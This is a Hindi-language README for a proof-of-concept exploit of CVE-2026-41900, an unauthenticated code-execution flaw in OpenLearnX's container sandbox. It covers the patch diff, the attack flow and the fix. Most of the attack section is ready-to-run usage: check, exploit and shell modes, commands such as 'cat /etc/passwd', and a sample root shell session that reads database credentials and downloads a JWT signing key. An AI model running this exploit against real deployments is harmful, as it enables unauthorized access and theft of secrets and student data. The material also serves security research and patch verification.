
CVE-2026-41900 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, OpenLearnX में कंटेनर वॉल्यूम माउंट के माध्यम से एक अनप्रमाणित रिमोट कोड एक्ज़ीक्यूशन, जो /tmp डिस्क्लोज़र और कमांड एक्ज़ीक्यूशन को सक्षम बनाता है।
| Property | Value |
|---|
| नाम | OpenLearnX-RCE |
| CVE | CVE-2026-41900 |
| GHSA | GHSA-8h25-q488-4hxw |
| प्रकार | बिना प्रमाणीकरण के सूचना प्रकटीकरण / RCE |
| प्रभावित | OpenLearnX < commit 14765d7 |
| ठीक किया गया | Commit 14765d7 (real_compiler_service) |
| CVSS | 8.6 (उच्च) |
| CWE | CWE-538, CWE-377, CWE-250 |
OSDC (मेरी स्वचालित पैच इंटेलिजेंस पाइपलाइन) ने OpenLearnX पर एक मौन सलाहकार को फ्लैग किया — GHSA-8h25-q488-4hxw बिना किसी तकनीकी विवरण के जारी किया गया। मैंने फिक्स commit (14765d7) खींचा और इसे इसके पैरेंट (d19c4e4) के साथ डिफ किया।
डिफ ने पूरी कहानी बता दी: backend/routes/coding.py में execute_in_container() को हटा दिया गया और एक कठोर real_compiler_service द्वारा प्रतिस्थापित किया गया। पुराना कोड उपयोगकर्ता-आपूर्ति कोड को एक tempfile में लिखता था, फिर os.path.dirname(temp_file) — जो /tmp पर हल होता है — को एक सहोदर Docker कंटेनर में रीड-ओनली वॉल्यूम के रूप में माउंट करता था। कोई user= नहीं, कोई cap_drop नहीं, कोई security_opt नहीं। डिफ़ॉल्ट रूप से रूट।
सबसे महत्वपूर्ण बात: /api/compiler/execute पर compiler ब्लूप्रिंट में कोई प्रमाणीकरण डेकोरेटर नहीं है। कोई भी बिना प्रमाणीकरण वाला अनुरोध कमजोर कंटेनर सेटअप के माध्यम से कोड निष्पादन को ट्रिगर कर सकता है।
मैंने पैच-पूर्व कोड को एक स्थानीय प्रयोगशाला में अलग किया, सभी वेक्टरों की पुष्टि की, और यह PoC लिखा।
POST /api/compiler/execute (कोई प्रमाणीकरण नहीं)
│
▼
execute_in_container(user_code)
│
├─ tempfile.NamedTemporaryFile(suffix='.py') → /tmp/tmpXXXXXX.py
│
├─ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
│ │
│ └─ /tmp पर हल होता है → पूरा /tmp कंटेनर में माउंट होता है
│
├─ कोई user= नहीं → रूट के रूप में चलता है (UID 0)
├─ कोई cap_drop नहीं → डिफ़ॉल्ट Docker क्षमताएँ
├─ कोई security_opt नहीं → डिफ़ॉल्ट seccomp प्रोफ़ाइल
│
└─ हमलावर पढ़ता है: रहस्य, क्रेडेंशियल, JWT कुंजियाँ, अन्य उपयोगकर्ताओं के सबमिशन
| गैजेट | गंभीरता | CWE | विवरण |
|---|---|---|---|
listing | उच्च | CWE-538 | वॉल्यूम माउंट के माध्यम से /tmp की निर्देशिका सूची |
secrets | गंभीर | CWE-538 | /tmp से क्रेडेंशियल, कुंजियाँ, कॉन्फ़िग पढ़ें |
submissions | उच्च | CWE-538 | अन्य छात्रों के कोड सबमिशन पढ़ें |
rootcheck | मध्यम | CWE-250 | UID 0 (रूट) निष्पादन की पुष्टि करें |
caps | मध्यम | CWE-250 | प्रभावी Linux क्षमताएँ डंप करें |
git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# कोई निर्भरता नहीं — केवल stdlib
chmod +x exploit.py
# जाँचें कि क्या लक्ष्य कमजोर है
python3 exploit.py --check http://target:5000
# सभी गैजेट चलाएँ + साक्ष्य JSON उत्पन्न करें
python3 exploit.py --exploit http://target:5000
# एकल कमांड निष्पादित करें
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000
# इंटरैक्टिव शेल में प्रवेश करें
python3 exploit.py --shell http://target:5000
# विशिष्ट गैजेट चलाएँ
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000
एक बार --shell के अंदर, आपको एक छद्म-इंटरैक्टिव शेल मिलता है। प्रत्येक कमांड एक नया अस्थायी कंटेनर बनाता है।
root@container:/app# id
uid=0(root) gid=0(root)
root@container:/app# ls -la /app/
total 28
-rw-r--r-- 1 root root 121 May 6 openlearnx_db_creds.conf
-rw-r--r-- 1 root root 235 May 6 jwt_signing_key.pem
-rw-r--r-- 1 root root 298 May 6 student_submission_8842.py
root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:[email protected]:27017/openlearnx
root@container:/app# download jwt_signing_key.pem
[+] jwt_signing_key.pem डाउनलोड किया गया (235B)
root@container:/app# exit
स्थानीय रूप से पुनरुत्पादन के लिए:
cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000
प्रयोगशाला पैच-पूर्व execute_in_container() को पुनरुत्पादित करने वाला एक कंटेनरीकृत Flask ऐप तैनात करती है:
/tmp होस्ट और ऐप कंटेनर के बीच साझाCommit 14765d7 ने execute_in_container() को real_compiler_service से बदल दिया जो लागू करता है:
container = docker_client.containers.run(
image,
volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}}, # प्रति निष्पादन अलग tmpdir
cap_drop=["ALL"], # सभी क्षमताएँ हटाएँ
security_opt=["no-new-privileges:true"], # विशेषाधिकार वृद्धि रोकें
user="65534:65534", # nobody, रूट नहीं
...
)
| तिथि | घटना |
|---|---|
| 2026-04 | OSDC ने मौन सलाहकार GHSA-8h25-q488-4hxw फ्लैग किया |
| 2026-04 | commit 14765d7 बनाम पैरेंट d19c4e4 का डिफ विश्लेषण |
| 2026-05 | प्रयोगशाला पुनरुत्पादन और PoC विकास |
| 2026-05-06 | पूर्ण PoC की पुष्टि — सभी 5 वेक्टर मान्य |
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। केवल उन प्रणालियों के खिलाफ उपयोग करें जिनके आप मालिक हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर प्रणालियों तक अनधिकृत पहुँच अवैध है।
Christbowel · christbowel.com · Balgo Security Team